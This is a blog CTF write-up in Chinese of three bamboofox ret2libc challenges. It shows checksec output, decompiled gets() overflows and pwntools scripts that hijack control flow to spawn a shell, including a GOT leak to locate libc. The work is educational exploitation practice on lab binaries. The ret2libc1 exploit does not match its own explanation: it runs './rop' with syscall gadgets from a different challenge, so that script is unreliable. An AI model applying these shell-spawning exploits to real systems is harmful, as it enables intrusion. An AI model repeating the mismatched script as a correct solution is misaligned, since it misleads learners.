CTF-Wiki bamboofox-ret2libc

ret2libc1

检查文件

$ checksec --file=ret2libc
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   84) Symbols       No    0               1               ret2libc
$ file ret2libc
ret2libc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped

目标文件为 32 位,开启了 NX 保护。下面对程序进行反编译以确定漏洞位置:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

对程序进行测试,对其输入一个长度为200的随机字符串,程序崩溃,确认漏洞点产生于gets函数

$ ./ret2libc 
RET2LIBC >_<
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
[1]    228860 segmentation fault (core dumped)  ./ret2libc

利用ropgadget查看程序中是否存在 /bin/sh 存在:

$ ROPgadget --binary ret2libc --string '/bin/sh'        
Strings information
============================================================
0x08048720 : /bin/sh

确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在

那么,我们直接返回该处,即执行 system 函数。

Exp

相应的 exp如下:

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc2

题目基本和上题一样,不过这次我们搜索字符串时并没有找到/bin/sh

那是不是就无解了呢,不如来换个思路,没有条件就创造条件

还记得.bss段吗,它在很多情况下可以被读取、写入、执行。我们不如尝试将后台代码写入.bss段中

  • BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。可执行程序包括BSS段、数据段、代码段
  • BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。特点是:可读写的,在程序执行之前BSS段会自动清0。所以,未初始的全局变量在程序执行之前已经成0了
  • 数据段包括初始化的数据和未初始化的数据(BSS)两部分 。BSS段存放的是未初始化的全局变量和静态变量
  • UNIX下可使用size命令查看可执行文件的段大小信息

IDA里也恰好找到一个长为100的空闲内存buf2(0x0804A080)

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)
.bss:0804A080 _bss            ends
.bss:0804A080

利用get函数把数据写入.bss

简单分析一下:栈满–>返回地址覆盖为get函数地址–>get函数完成写入后返回_system函数–>system函数调用写入的字符串–>getshell

Exp

from pwn import *

sh = process('./ret2libc')

buf2 = 0x0804A080
getsplt = 0x8048460
systemplt = 0x08048490

payload = b'a'*112 + p32(getsplt) + p32(systemplt) + p32(buf2) + p32(buf2)

sh.sendline(payload)
sh.interactive()

ret2libc3

在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护

$ checksec ret2libc3
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets((char *)&v4);
  return 0;
}

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点:

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

Exp

from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

#print hex(puts_plt), hex(libc_start_main_got), hex(main)
#print "leak libc_start_main_got addr and return to main again"
payload = b'A' * 112 + p32( puts_plt) + p32(main) + p32(libc_start_main_got)
sh.sendlineafter(b'Can you find it !?', payload)

#print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
# libc = ret2libc3.libc
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
libc.address = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libc.symbols['system']
a  = libc.search(b'/bin/sh')
binsh_addr = 0
for i in a:
    binsh_addr = i

#print "get shell"
#sh.recvuntil(b'Can you find it !?')
payload = b'A' * 104 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)

sh.interactive()

Reference

Acknowledgments

@nyyy


CTF-Wiki bamboofox-ret2libc
https://zer0ptr.github.io/2025/10/03/bamboofox-ret2libc/
Author
hakmaple
Posted on
October 3, 2025
Licensed under